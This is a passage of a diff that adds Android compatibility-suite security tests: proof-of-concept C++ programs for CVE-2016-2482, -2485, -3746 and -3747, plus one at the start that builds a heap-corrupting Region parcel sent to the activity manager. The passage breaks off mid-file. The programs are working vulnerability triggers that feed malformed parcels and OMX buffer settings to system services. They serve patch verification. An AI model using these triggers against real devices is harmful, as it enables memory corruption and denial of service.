+  const int VAL_PARCELABLE = 4;
+  char buffer[16] = {0};
+  snprintf(buffer, 16, "%d", count);
+
+  pData->writeString16(String16((const char *)buffer));
+  pData->writeInt32(VAL_PARCELABLE);
+  pData->writeString16(String16(class_name));
+}
+
+void writeRegion(Parcel *pData) {
+  pData->writeInt32(100); // length of region;
+  pData->writeInt32(
+      0x3fffffff); // runCount, the allocted size will be 0x3fffffff*4+16=0xc
+  pData->writeInt32(0xf); // fBounds
+  pData->writeInt32(0xf); // YSpanCount
+  pData->writeInt32(0xf); // IntervalCount
+
+  char buffer[100];
+  memset(buffer, 0xcc,
+         sizeof(buffer)); // this buffer will be used to corrrupt the heap
+  pData->write(buffer, sizeof(buffer));
+}
+
+static void writeBundle(Parcel *pData, int type) {
+  size_t lengthPos = pData->dataPosition();
+  pData->writeInt32(0xfffff);
+  const int BUNDLE_MAGIC = 0x4C444E42;
+  pData->writeInt32(BUNDLE_MAGIC);
+  size_t startPos = pData->dataPosition();
+
+  if (type == HEAPCORRUPT) {
+    pData->writeInt32(1); // from writeArrayMapInternal,object numbers in bundle
+    writeParcelableHead(pData, "android.graphics.Region");
+    writeRegion(pData);
+  } else { // other than HEAPCORRUPT
+    exit(0);
+  }
+
+  size_t endPos = pData->dataPosition();
+  // Backpatch length
+  pData->setDataPosition(lengthPos);
+  int length = endPos - startPos;
+  pData->writeInt32(length);
+  pData->setDataPosition(endPos);
+}
+
+static void transact(sp<IBinder> &service, TRANTYPE type) {
+  const int CONVERT_TO_TRANSLUCENT_TRANSACTION = 175;
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.app.IActivityManager"));
+  data.writeStrongBinder(service);
+  data.writeInt32(333);
+  writeBundle(&data, type);
+  service->transact(CONVERT_TO_TRANSLUCENT_TRANSACTION, data, &reply);
+}
+
+int main(__attribute__((unused)) int argc,
+         __attribute__((unused)) char *const argv[]) {
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> service = sm->checkService(String16("activity"));
+  if (service != NULL) {
+    printf("heap corruption\n");
+    transact(service, HEAPCORRUPT);
+  } else {
+    printf("get activitymanger failed\n");
+  }
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk
new file mode 100644
index 0000000..bb7ecac
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-2482
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
+                    $(TOP)/frameworks/native/include/media/openmax \
+
+LOCAL_SHARED_LIBRARIES := libnativehelper \
+                          liblog \
+                          libstagefright \
+                          libbinder \
+                          libutils \
+                          libmedia \
+                          libmedia_omx \
+                          libstagefright_foundation
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp
new file mode 100644
index 0000000..7215e00
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp
@@ -0,0 +1,151 @@
+/**
+* Copyright (C) 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+*      http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+#define LOG_TAG "CVE-2016-2482"
+
+#include <OMX_Component.h>
+#include <OMX_Types.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/IMediaPlayerClient.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IMediaRecorder.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/stagefright/OMXClient.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <utils/StrongPointer.h>
+
+#define OMX_DirInput 0
+#define OMX_CORE_INPUT_PORT_INDEX 0
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &messages __unused) {}
+
+protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+// decoder
+bool fuzzIOMXSetParameterChangeCount() {
+  const char *name = "OMX.qcom.video.decoder.avc";
+  sp<IMemory> memory;
+  sp<IOMXNode> node = 0;
+  sp<IOMX> mOmx;
+  IOMX::buffer_id bufferId = 0;
+  int outMemSize = 1024;
+  int bufferCnt = 4;
+  int memSize = 49 * outMemSize * bufferCnt;
+
+  OMXClient client;
+  if (client.connect() != OK) {
+    ALOGE("OMXClient connect == NULL");
+    return false;
+  }
+
+  mOmx = client.interface();
+  if (mOmx == NULL) {
+    ALOGE("OMXClient interface mOmx == NULL");
+    client.disconnect();
+    return false;
+  }
+
+  sp<DummyOMXObserver> observerDec = new DummyOMXObserver();
+
+  ALOGE("-----------decode------------");
+  status_t err = mOmx->allocateNode(name, observerDec, &node);
+  if (err != OK) {
+    ALOGE("%s node allocation fails", name);
+    client.disconnect();
+    return false;
+  }
+
+  sp<MemoryDealer> dealerIn = new MemoryDealer(memSize);
+
+  memory = dealerIn->allocate(memSize);
+  if (memory.get() == nullptr) {
+    ALOGE("memory allocation failed , err: %d", err);
+    node->freeNode();
+    client.disconnect();
+    return false;
+  }
+
+  OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+      sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+
+  if (params == NULL) {
+    ALOGE("memory allocation failed , err: %d", err);
+    node->freeNode();
+    client.disconnect();
+    return false;
+  }
+  memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+
+  params->eDir = (OMX_DIRTYPE)OMX_DirInput;
+
+  params->nBufferCountActual = 1024 * 1024 / 16;
+  params->nBufferSize = 0x31000;
+  params->format.video.nFrameHeight = 0;
+
+  /*
+   * Exit from here if setParameter fails.
+   * This is the expected behavior in Android N
+   */
+  err = node->setParameter(OMX_IndexParamPortDefinition, params,
+                           sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  ALOGI("setParameter, err: %d", err);
+  if (err != OK) {
+    node->freeNode();
+    free(params);
+    client.disconnect();
+    return false;
+  }
+
+  /*
+   * Exit from here if useBuffer fails.
+   * This is the expected behavior in Android N
+   */
+  err = node->useBuffer(OMX_CORE_INPUT_PORT_INDEX, memory, &bufferId);
+  ALOGE("useBuffer, err: %d", err);
+  if (err != OK) {
+    node->freeNode();
+    free(params);
+    client.disconnect();
+    return false;
+  }
+
+  params->nBufferCountActual = 0xFFFFFFFF;
+
+  err = node->setParameter(OMX_IndexParamPortDefinition, params,
+                           sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  ALOGE("setParameter, change actualcount, err: %d", err);
+
+  err = node->freeNode();
+  free(params);
+  client.disconnect();
+  ALOGI("freeNode, err: %d", err);
+  return true;
+}
+
+int main() {
+  return (int)(!fuzzIOMXSetParameterChangeCount());
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.mk
new file mode 100644
index 0000000..a353919
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-2485
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES_32 := ../includes/omxUtils.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_32 := frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES_32 += frameworks/native/include/media/hardware/
+LOCAL_SHARED_LIBRARIES_32 := libbinder
+LOCAL_SHARED_LIBRARIES_32 += liblog
+LOCAL_SHARED_LIBRARIES_32 += libstagefright
+LOCAL_SHARED_LIBRARIES_32 += libstagefright_foundation
+LOCAL_SHARED_LIBRARIES_32 += libutils
+LOCAL_SHARED_LIBRARIES_32 += libmedia_omx
+LOCAL_SHARED_LIBRARIES_32 += libcutils
+LOCAL_SHARED_LIBRARIES_32 += libhidlbase
+LOCAL_SHARED_LIBRARIES_32 += libhidlmemory
+LOCAL_SHARED_LIBRARIES_32 += android.hidl.allocator@1.0
+LOCAL_SHARED_LIBRARIES_32 += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
new file mode 100644
index 0000000..8af3e39
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
@@ -0,0 +1,186 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+//This PoC is only for 32-bit builds
+#if _32_BIT
+#include <fstream>
+#include "../includes/omxUtils.h"
+#include "hidlmemory/mapping.h"
+
+#define FILE_SIZE UINT16_MAX + 1
+#define INPUT_BUFFER_SIZE 16380
+#define NUMBER_OF_BUFFERS 4
+#define VULNERABLE_SIZE 4
+#define SLEEP_TIME_IN_SECONDS 1
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC 30
+
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+                            int BufferSize) {
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+                bool s,
+                hidl_memory const& m) {
+            success = s;
+            buffer.mHidlMemory = m;
+        });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        buffers->push(buffer);
+    }
+    return OK;
+}
+#endif /* _32_BIT */
+
+int main(int argc, char *argv[]) {
+    (void) argc;
+    (void) argv;
+
+//This PoC is only for 32-bit builds
+#if _32_BIT
+    if (argc != 2) {
+        return EXIT_FAILURE;
+    }
+    std::ifstream file(argv[1], std::ifstream::binary);
+    long size = FILE_SIZE;
+    uint8_t *buffer = new uint8_t[size];
+    if (!buffer) {
+        file.close();
+        return EXIT_FAILURE;
+    }
+    file.read((char *) buffer, size);
+
+    /* Initialize OMX for the specified codec                                 */
+    status_t ret = omxUtilsInit((char *) "OMX.google.gsm.decoder");
+    omxExitOnError(ret);
+
+    /* Set OMX input port parameters                                          */
+    OMX_PARAM_PORTDEFINITIONTYPE *params =
+            (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+                    sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    if (!params) {
+        file.close();
+        delete[] buffer;
+        return EXIT_FAILURE;
+    }
+    params->nPortIndex = OMX_UTILS_IP_PORT;
+    params->nBufferSize = INPUT_BUFFER_SIZE;
+    params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+    omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+
+    /* Prepare input port buffers                                             */
+    int inMemSize = params->nBufferCountActual * params->nBufferSize;
+    int inBufferCnt = params->nBufferCountActual;
+    int inBufferSize = inMemSize / inBufferCnt;
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+    /* Set OMX output port parameters                                          */
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+    params->nPortIndex = OMX_UTILS_OP_PORT;
+    params->nBufferSize = VULNERABLE_SIZE;
+    params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+    omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+
+    /* Prepare output port buffers                                            */
+    int outBufferCnt = params->nBufferCountActual;
+    int outBufferSize = VULNERABLE_SIZE;
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+    Vector < Buffer > inputBuffers;
+    Vector < Buffer > outputBuffers;
+    /* Register input buffers with OMX component                              */
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+    for (int i = 0; i < inBufferCnt; ++i) {
+        inBufferId[i] = inputBuffers[i].mID;
+        sp < android::hidl::memory::V1_0::IMemory > mem = mapMemory(
+                inputBuffers[i].mHidlMemory);
+        memcpy((void *) mem->getPointer(),
+               (void *) (buffer + INPUT_BUFFER_SIZE * i),
+               INPUT_BUFFER_SIZE);
+        omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+                          &inBufferId[i]);
+    }
+
+    /* Register output buffers with OMX component                             */
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+    for (int i = 0; i < outBufferCnt; ++i) {
+        outBufferId[i] = outputBuffers[i].mID;
+        omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+                          &outBufferId[i]);
+    }
+
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State change to Executing                                       */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    for (int i = 0; i < inBufferCnt; ++i) {
+        OMXBuffer omxBuf(0, inBufferSize);
+        omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+    }
+    for (int i = 0; i < outBufferCnt; ++i) {
+        OMXBuffer omxBuf(0, outBufferSize);
+        omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+    }
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    time_t currentTime = time(NULL);
+    time_t endTime = currentTime + EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC;
+    while (currentTime < endTime) {
+        sleep(SLEEP_TIME_IN_SECONDS);
+        if (numCallbackEmptyBufferDone == inBufferCnt) {
+            break;
+        }
+        currentTime = time(NULL);
+    }
+    if (numCallbackEmptyBufferDone != inBufferCnt) {
+        free(params);
+        file.close();
+        delete[] buffer;
+        return EXIT_FAILURE;
+    }
+    /* Free input and output buffers                                          */
+    for (int i = 0; i < inBufferCnt; ++i) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+    }
+    for (int i = 0; i < outBufferCnt; ++i) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+    }
+
+    /* Free OMX resources                                                     */
+    omxUtilsFreeNode();
+    free(params);
+    file.close();
+    delete[] buffer;
+#endif /* _32_BIT */
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.mk
new file mode 100644
index 0000000..2767528
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-3746
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES += $(TOP)/frameworks/native/include/media/openmax \
+                    $(TOP)/frameworks/av/media/libstagefright
+
+LOCAL_SHARED_LIBRARIES := \
+    liblog \
+    libbinder \
+    libutils \
+    libmedia \
+    libstagefright \
+    libmedia_omx \
+    libhidlmemory \
+    libstagefright_foundation
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp
new file mode 100644
index 0000000..7b67095
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp
@@ -0,0 +1,148 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <SharedMemoryBuffer.h>
+#include <binder/MemoryDealer.h>
+#include <media/OMXBuffer.h>
+#include <media/stagefright/OMXClient.h>
+#include <media/stagefright/foundation/AMessage.h>
+
+#include "OMX_Component.h"
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+  virtual void onMessages(const std::list<omx_message> &) {}
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+bool fuzzIOMXQcomVpx() {
+  const char *name = "OMX.qcom.video.decoder.vp8";
+  int fenceFd = -1;
+
+  int inSize = 6230016 * 4;
+  int outSize = 159744 * 4;
+
+  sp<IMemory> memory;
+  sp<IOMXNode> mOMXNode;
+  sp<IOMX> mOmx;
+
+  OMXClient client;
+  if (client.connect() != OK) {
+    ALOGE("OMXClient connect == NULL");
+    return false;
+  }
+
+  mOmx = client.interface();
+  if (mOmx == NULL) {
+    ALOGE("OMXClient interface mOmx == NULL");
+    client.disconnect();
+    return false;
+  }
+
+  sp<DummyOMXObserver> observerDec = new DummyOMXObserver();
+
+  ALOGI("-----------decode------------");
+  status_t err = mOmx->allocateNode(name, observerDec, &mOMXNode);
+  if (err != OK) {
+    ALOGE("%s node allocation failed", name);
+    client.disconnect();
+    return false;
+  }
+
+  // change state from loaded to idle
+  err = mOMXNode->sendCommand(OMX_CommandStateSet, OMX_StateIdle);
+  if (err != OK) {
+    ALOGE("sendCommand is failed in OMX_StateIdle, err: %d", err);
+    mOMXNode->freeNode();
+    client.disconnect();
+    return false;
+  }
+
+  // Input
+  sp<MemoryDealer> dealerIn = new MemoryDealer(inSize);
+  IOMX::buffer_id inBufferId = 0;
+  memory = dealerIn->allocate(inSize);
+  if (memory.get() == nullptr || memory->pointer() == nullptr) {
+    ALOGE("memory allocate failed for port index 0, err: %d", err);
+    mOMXNode->freeNode();
+    client.disconnect();
+    return false;
+  }
+
+  /*
+   * keep running to check whether mediaserver crashes
+   * Error conditions are not checked for usebuffer/emptybuffer/fillbuffer
+   */
+
+  OMXBuffer omxInBuf(memory);
+  memset(memory->pointer(), 0xCF, inSize);
+  err = mOMXNode->useBuffer(0, omxInBuf, &inBufferId);
+  ALOGI("useBuffer, port index 0, err: %d", err);
+
+  sp<AMessage> inputFormat = new AMessage;
+  sp<MediaCodecBuffer> codecDataIn;
+  codecDataIn = new SharedMemoryBuffer(inputFormat, memory);
+  OMXBuffer omxInBufShared(codecDataIn);
+
+  // Output
+  sp<MemoryDealer> dealerOut = new MemoryDealer(outSize);
+  IOMX::buffer_id outBufferId = 0;
+  memory = dealerOut->allocate(outSize);
+  if (memory.get() == nullptr || memory->pointer() == nullptr) {
+    ALOGE("memory allocate failed for port index 1, err: %d", err);
+    mOMXNode->freeNode();
+    client.disconnect();
+    return false;
+  }
+  OMXBuffer omxOutBuf(memory);
+  err = mOMXNode->useBuffer(1, omxOutBuf, &outBufferId);
+  ALOGI("useBuffer, port index 1, err: %d", err);
+
+  sp<AMessage> outputFormat = new AMessage;
+  sp<MediaCodecBuffer> codecDataOut;
+  codecDataOut = new SharedMemoryBuffer(outputFormat, memory);
+  OMXBuffer omxOutBufShared(codecDataOut);
+
+  // change state from idle to executing
+  err = mOMXNode->sendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+  if (err != OK) {
+    ALOGE("sendCommand is failed in OMX_StateExecuting, err: %d", err);
+    mOMXNode->freeNode();
+    client.disconnect();
+    return false;
+  }
+
+  // keep running to check whether mediaserver crashes
+  err = mOMXNode->emptyBuffer(inBufferId, omxInBufShared, 0, 0, fenceFd);
+  ALOGI("emptyBuffer, err: %d", err);
+
+  err = mOMXNode->fillBuffer(outBufferId, omxOutBufShared, fenceFd);
+  ALOGI("fillBuffer, err: %d", err);
+
+  // free node
+  err = mOMXNode->freeNode();
+  ALOGI("freeNode, err: %d", err);
+
+  client.disconnect();
+  return true;
+}
+
+int main() { return (int)(!fuzzIOMXQcomVpx()); }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk
new file mode 100644
index 0000000..08041fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2018 The Android Open Source Project
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-3747
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
+                    $(TOP)/frameworks/av/media/libstagefright \
+                    $(TOP)/frameworks/native/include/media/openmax
+
+LOCAL_SHARED_LIBRARIES := \
+        libstagefright \
+        libbinder \
+        libmedia \
+        libmedia_omx \
+        liblog \
+        libutils
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp
new file mode 100644
index 0000000..38a0afa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp
@@ -0,0 +1,145 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "CVE-2016-3747"
+
+#include <OMX_Component.h>
+#include <binder/MemoryDealer.h>
+#include <jni.h>
+#include <log/log.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/stagefright/OMXClient.h>
+#include <utils/StrongPointer.h>
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &messages __unused) {}
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+bool fuzzIOMXQcomEnc() {
+  sp<IOMXNode> node;
+  sp<IOMX> mOmx;
+  int fenceFd = -1;
+  const char *name = "OMX.qcom.video.encoder.mpeg4";
+
+  OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+      sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  params->nPortIndex = 0;  // input port
+  params->format.video.nFrameHeight = 1280 * 4;
+  params->format.video.nFrameWidth = 720 * 4;
+  params->nBufferCountActual = 12;
+  params->nBufferSize = 73728;
+  params->nBufferCountMin = 0x4;
+
+  int inMemSize = params->nBufferSize * 12;
+  int outMemSize = 49152 * 4;
+  int inBufferCnt = 12;
+  int outBufferCnt = 4;
+  int inBufferSize = inMemSize / inBufferCnt;
+  int outBufferSize = outMemSize / outBufferCnt;
+
+  sp<IMemory> memory;
+
+  OMXClient client;
+  if (client.connect() != OK) {
+    ALOGE("OMXClient connect == NULL");
+    return false;
+  }
+
+  mOmx = client.interface();
+  if (mOmx == NULL) {
+    ALOGE("OMXClient interface mOmx == NULL");
+    client.disconnect();
+    return false;
+  }
+
+  sp<DummyOMXObserver> observer = new DummyOMXObserver();
+  status_t err = mOmx->allocateNode(name, observer, &node);
+  if (err != OK) {
+    ALOGI("%s node allocation fails", name);
+    return false;
+  }
+  // make venc in invalid state
+  err = node->sendCommand(OMX_CommandStateSet, 2);
+  if (err != OK) {
+    ALOGE("sendCommand is failed in OMX_StateIdle, err: %d", err);
+    node->freeNode();
+    return false;
+  }
+
+  sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+  for (int i = 0; i < inBufferCnt; i++) {
+    sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+    if (memory.get() == nullptr) {
+      ALOGE("memory allocate failed for port index 0, err: %d", err);
+      node->freeNode();
+      return false;
+    }
+    OMXBuffer omxInBuf(memory);
+    err = node->useBuffer(0, omxInBuf, &inBufferId[i]);
+    ALOGI("useBuffer, port index 0, err: %d", err);
+  }
+
+  sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+  for (int i = 0; i < outBufferCnt; i++) {
+    sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+    if (memory.get() == nullptr) {
